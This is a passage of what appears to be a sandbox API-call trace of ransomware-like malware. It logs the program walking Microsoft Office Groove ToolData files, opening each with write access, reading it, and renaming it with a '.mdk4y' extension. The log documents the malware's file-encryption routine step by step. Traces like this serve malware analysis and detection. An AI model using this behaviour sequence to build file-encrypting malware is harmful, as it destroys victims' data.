files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bold.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\RTF_BOLD.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bold.gif.mdk4y")) returned 1 [0218.373] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.373] AreFileApisANSI () returned 1 [0218.373] GetACP () returned 0x4e4 [0218.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_bullets.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_bullets.gifgif", lpUsedDefaultChar=0x37dda8) returned 15 [0218.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829360600000) returned 1 [0218.376] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x365, lpOverlapped=0x0) returned 1 [0218.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829360700000) returned 1 [0218.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829360700000) returned 1 [0218.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif.mdk4y")) returned 1 [0218.379] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.379] AreFileApisANSI () returned 1 [0218.379] GetACP () returned 0x4e4 [0218.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_center.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_center.giff", lpUsedDefaultChar=0x37dda8) returned 14 [0218.379] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829361000000) returned 1 [0218.380] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x34f, lpOverlapped=0x0) returned 1 [0218.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829361200000) returned 1 [0218.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829361200000) returned 1 [0218.382] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif.mdk4y")) returned 1 [0218.383] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.383] AreFileApisANSI () returned 1 [0218.383] GetACP () returned 0x4e4 [0218.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_choosecolor.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_choosecolor.giftml", lpUsedDefaultChar=0x37dda8) returned 19 [0218.383] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829361500000) returned 1 [0218.385] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3ee, lpOverlapped=0x0) returned 1 [0218.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829362800000) returned 1 [0218.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829362800000) returned 1 [0218.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif.mdk4y")) returned 1 [0218.412] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.412] AreFileApisANSI () returned 1 [0218.412] GetACP () returned 0x4e4 [0218.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_choosefont.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_choosefont.giff", lpUsedDefaultChar=0x37dda8) returned 18 [0218.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829364300000) returned 1 [0218.413] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x37a, lpOverlapped=0x0) returned 1 [0218.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829364500000) returned 1 [0218.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829364500000) returned 1 [0218.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif.mdk4y")) returned 1 [0218.416] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.416] AreFileApisANSI () returned 1 [0218.416] GetACP () returned 0x4e4 [0218.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_decreaseindent.gif", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_decreaseindent.gif", lpUsedDefaultChar=0x37dda8) returned 22 [0218.416] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829364700000) returned 1 [0218.417] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35f, lpOverlapped=0x0) returned 1 [0218.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829364800000) returned 1 [0218.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829364800000) returned 1 [0218.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif.mdk4y")) returned 1 [0218.419] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.419] AreFileApisANSI () returned 1 [0218.419] GetACP () returned 0x4e4 [0218.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_increaseindent.gif", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_increaseindent.gif", lpUsedDefaultChar=0x37dda8) returned 22 [0218.419] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829365000000) returned 1 [0218.420] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35d, lpOverlapped=0x0) returned 1 [0218.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829365200000) returned 1 [0218.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829365200000) returned 1 [0218.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_increaseindent.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_increaseindent.gif.mdk4y")) returned 1 [0218.424] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.424] AreFileApisANSI () returned 1 [0218.424] GetACP () returned 0x4e4 [0218.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_italic.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_italic.gifdent.gif", lpUsedDefaultChar=0x37dda8) returned 14 [0218.424] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829371000000) returned 1 [0218.480] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x354, lpOverlapped=0x0) returned 1 [0218.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829371100000) returned 1 [0218.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829371100000) returned 1 [0218.481] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_italic.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_italic.gif.mdk4y")) returned 1 [0218.483] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.483] AreFileApisANSI () returned 1 [0218.483] GetACP () returned 0x4e4 [0218.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_justify.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_justify.gifent.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0218.483] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829371400000) returned 1 [0218.484] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x352, lpOverlapped=0x0) returned 1 [0218.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829371500000) returned 1 [0218.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829371500000) returned 1 [0218.485] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_justify.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_justify.gif.mdk4y")) returned 1 [0218.486] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.486] AreFileApisANSI () returned 1 [0218.486] GetACP () returned 0x4e4 [0218.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_pressed.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_pressed.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0218.486] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829371700000) returned 1 [0218.487] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x373, lpOverlapped=0x0) returned 1 [0218.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829373300000) returned 1 [0218.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829373300000) returned 1 [0218.503] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_pressed.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_pressed.gif.mdk4y")) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.505] AreFileApisANSI () returned 1 [0218.505] GetACP () returned 0x4e4 [0218.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_underline.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_underline.gift.gif", lpUsedDefaultChar=0x37dda8) returned 17 [0218.505] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.506] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829373600000) returned 1 [0218.506] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35c, lpOverlapped=0x0) returned 1 [0218.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829373900000) returned 1 [0218.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829374000000) returned 1 [0218.510] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_underline.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_underline.gif.mdk4y")) returned 1 [0218.511] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.511] AreFileApisANSI () returned 1 [0218.512] GetACP () returned 0x4e4 [0218.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVE.GIF", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SAVE.GIFrline.gif", lpUsedDefaultChar=0x37dda8) returned 8 [0218.512] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\save.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.512] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829374200000) returned 1 [0218.512] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x26d, lpOverlapped=0x0) returned 1 [0218.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829374300000) returned 1 [0218.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829374300000) returned 1 [0218.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\save.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SAVE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\save.gif.mdk4y")) returned 1 [0218.515] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.515] AreFileApisANSI () returned 1 [0218.515] GetACP () returned 0x4e4 [0218.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUBMIT.JS", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SUBMIT.JSline.gif", lpUsedDefaultChar=0x37dda8) returned 9 [0218.515] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\submit.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.515] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829374500000) returned 1 [0218.515] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x12b79, lpOverlapped=0x0) returned 1 [0218.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829375000000) returned 1 [0218.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829375000000) returned 1 [0218.521] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\submit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\SUBMIT.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\submit.js.mdk4y")) returned 1 [0218.522] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.522] AreFileApisANSI () returned 1 [0218.522] GetACP () returned 0x4e4 [0218.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="utilityfunctions.js", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="utilityfunctions.jsgif", lpUsedDefaultChar=0x37dda8) returned 19 [0218.522] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829375300000) returned 1 [0218.523] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x6e57, lpOverlapped=0x0) returned 1 [0218.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829375700000) 